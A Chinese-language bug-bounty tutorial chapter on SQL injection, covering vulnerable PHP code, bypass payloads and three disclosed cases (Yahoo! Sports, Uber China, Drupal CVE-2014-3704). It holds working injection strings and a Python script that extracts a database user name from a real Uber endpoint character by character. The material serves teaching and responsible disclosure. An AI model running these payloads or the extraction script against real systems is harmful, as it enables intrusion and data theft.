當資料庫支撐的網站允許攻擊者用 SQL(Structured Query Language)操控自家資料庫時,便發生 SQL Injection(SQLi)。SQLi 通常獎金高,因為攻擊者可以讀取、改寫、刪除資料,甚至為自己建立管理員帳號。
SQL 與資料庫基礎#
關聯式資料庫以表(table)、欄(column)、列(row) 儲存資料。本章用 MySQL 為例,但概念可推及 PostgreSQL、MSSQL 等。
範例查詢:
SELECT name FROM users WHERE id = 1;SQLi 的成因#
考慮一段未 sanitize 的 PHP:
$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = '$name' ";
mysql_query($query);正常輸入 peter 沒事;但攻擊者送出:
?name=test' OR 1='1最終 query 變成:
SELECT * FROM users WHERE name = 'test' OR 1='1';1='1' 永遠為真,整張 users 表都會被回傳。
注意 payload 中那個懸空單引號——它要與 PHP 字串原本的結尾單引號配對,整體 SQL 才會語法正確。
多個條件下的繞過#
當查詢有多個條件且其他被 sanitize:
$name = $_GET['name'];
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT * FROM users WHERE name = '$name' AND password = '$password' ";OR 1='1 之後會接 AND password = '12345',不一定為真。改用 ;-- 把後面註解掉:
?name=test' OR 1='1;--最終 query:
SELECT * FROM users WHERE name = 'test' OR 1='1';-- AND password = '12345'MySQL 的
--註解後必須有空格,否則 query 會直接報錯。
防禦:Prepared Statements 與框架#
- Prepared Statements:把 query 當作模板,變數另外綁定——即使輸入未 sanitize,也無法改變 query 結構
- Web 框架(Rails、Django、Symfony)內建防護,但不是萬靈丹:開發者寫不慎或繞過 ORM 仍會出問題
- 老站、自訂程式或舊版 CMS 仍是 SQLi 高發地
Rails 中常見的 SQLi 模式可參考 https://rails-sqli.org/ ↗。
案例 1:Yahoo! Sports Blind SQLi#
- 難度:中
- URL:
https://sports.yahoo.com- 回報日期:2014-02-16
- 獎金:$3,705
什麼是 Blind SQLi#
Blind SQLi(盲注)發生在無法直接看到 query 輸出的情況下,必須比對「正常 vs 修改後」回應的差異來推測資料。
漏洞描述#
研究者 Stefano Vettorazzi 在球員搜尋 URL 觀察結果差異:
sports.yahoo.com/nfl/draft?year=2010&type=20&round=2
sports.yahoo.com/nfl/draft?year=2010--&type=20&round=2加了 -- 後返回的球員清單不一樣——說明 year 被注進 SQL,後段查詢被註解掉。

Figure 9-1: Yahoo! 球員搜尋的原始(未修改 year 參數)結果

Figure 9-2: Yahoo! 球員搜尋——year 參數加上 -- 後的結果
接著用條件式判斷資料庫版本:
(2010)and(if(mid(version(),1,1))='5',true,false))--version():MySQL 取得版本號mid(version(),1,1):取出第一位字元- 若該字元是
5→ query 為真,正常返回;否則為假,沒有結果
由此推測各種資料庫資訊。

Figure 9-3: 當條件檢查資料庫版本是否以 5 開頭時,Yahoo! 球員搜尋結果為空
Takeaways#
找 SQLi 不用每次都製造可見的 query 錯誤——觀察微妙的回應差異往往就是 Blind SQLi 的線索。
案例 2:Uber Blind SQLi#
- 難度:中
- URL:
http://sctrack.email.uber.com.cn/track/unsubscribe.do/- 回報來源:https://hackerone.com/reports/150156/ ↗
- 回報日期:2016-07-08
- 獎金:$4,000
漏洞描述#
研究者 Orange Tsai 收到 Uber 中國的廣告 Email,發現退訂連結帶有 base64 編碼的 p 參數:
http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogIjU3NTUiLCAicmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9解碼後是 JSON:
{ "user_id": "5755", "receiver": "orange@mymail" }他在 user_id 後加 and sleep(12)=1:
{ "user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail" }重新編碼後造訪 → HTTP 回應慢了 12 秒,證實 SQLi 存在。
進一步證明#
為提供具體證據,Orange 用 Python 寫腳本暴力萃取 user()(資料庫使用者與主機名)一字元一字元比對:
import json, string, requests
from urllib import quote
from base64 import b64encode
base = string.digits + string.letters + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"}
for l in range(0, 30):
for i in base:
payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#" % (l + 1, i)
new_payload = b64encode(json.dumps(payload))
r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=' + quote(new_payload))
if len(r.content) > 0:
print(i, end='')
break成功萃出 sendcloud_w@10.9.79.210 與資料庫名 sendcloud。Uber 確認雖然漏洞發生在第三方(SendCloud),仍發了獎金。
Takeaways#
- 留意接受編碼參數的 HTTP 請求——解碼、注入、再編碼回來
sleep()已可作為 PoC;只在被允許的範圍內進一步萃取資料- 自動化工具:附錄 A 介紹的 sqlmap ↗
案例 3:Drupal SQLi(CVE-2014-3704)#
- 難度:高
- URL:任何 Drupal 7.32 或更早版本
- 回報來源:https://hackerone.com/reports/31756/ ↗
- 回報日期:2014-10-17
- 獎金:$3,000
背景#
Drupal 是 PHP 寫的 CMS。Drupal core 用 PDO(PHP Data Objects)建立資料庫抽象層,原本以 prepared statement 來防 SQLi。
漏洞描述#
研究者 Stefan Horst 發現 expandArguments 函式處理 IN 子句時的瑕疵。db_query 用法:
db_query("SELECT * FROM {users} WHERE name IN (:name)",
array(':name' => array('user1', 'user2')));正常情況 Drupal 會把 placeholder 展開成:
SELECT * FROM users WHERE name IN (:name_0, :name_1)但如果傳入的是關聯式陣列(attacker 可控):
array(':name' => array('test);-- ' => 'user1', 'test' => 'user2'))expandArguments 沿用陣列的 key 做 placeholder 字尾,產出:
SELECT * FROM users WHERE name IN (:name_test);-- , :name_test)攻擊者把註解符號
);--注入到 prepared statement 的「模板建立階段」。Prepared statement 的保護假設模板是固定的——但模板本身被竄改,保護失效。
更糟的是 PHP PDO 預設允許多陳述式執行,意味著可以連帶 INSERT 一筆管理員帳號進去。攻擊面是 Drupal 登入功能,匿名使用者也能利用。
Takeaways#
找 SQLi 不只是「丟一個單引號」。觀察 URL 參數的結構——把
name=value改成name[]=value變成陣列傳入,常會踢出意外行為。
章末總結#
- SQLi 是高影響漏洞:可竊取資料、提權、甚至建管理員帳號
- 找漏洞主要切入點:
- 未跳脫的單/雙引號落點
- 接受編碼參數的端點(解碼後注入再編碼回來)
- 細微的回應差異 → Blind SQLi
- 改變參數結構(陣列、關聯式陣列、JSON)
- Prepared statement 強,但模板建立階段仍可能被攻擊
- PoC 點到為止:
sleep()、版本、user 資訊已足以證明,避免直接傾倒敏感資料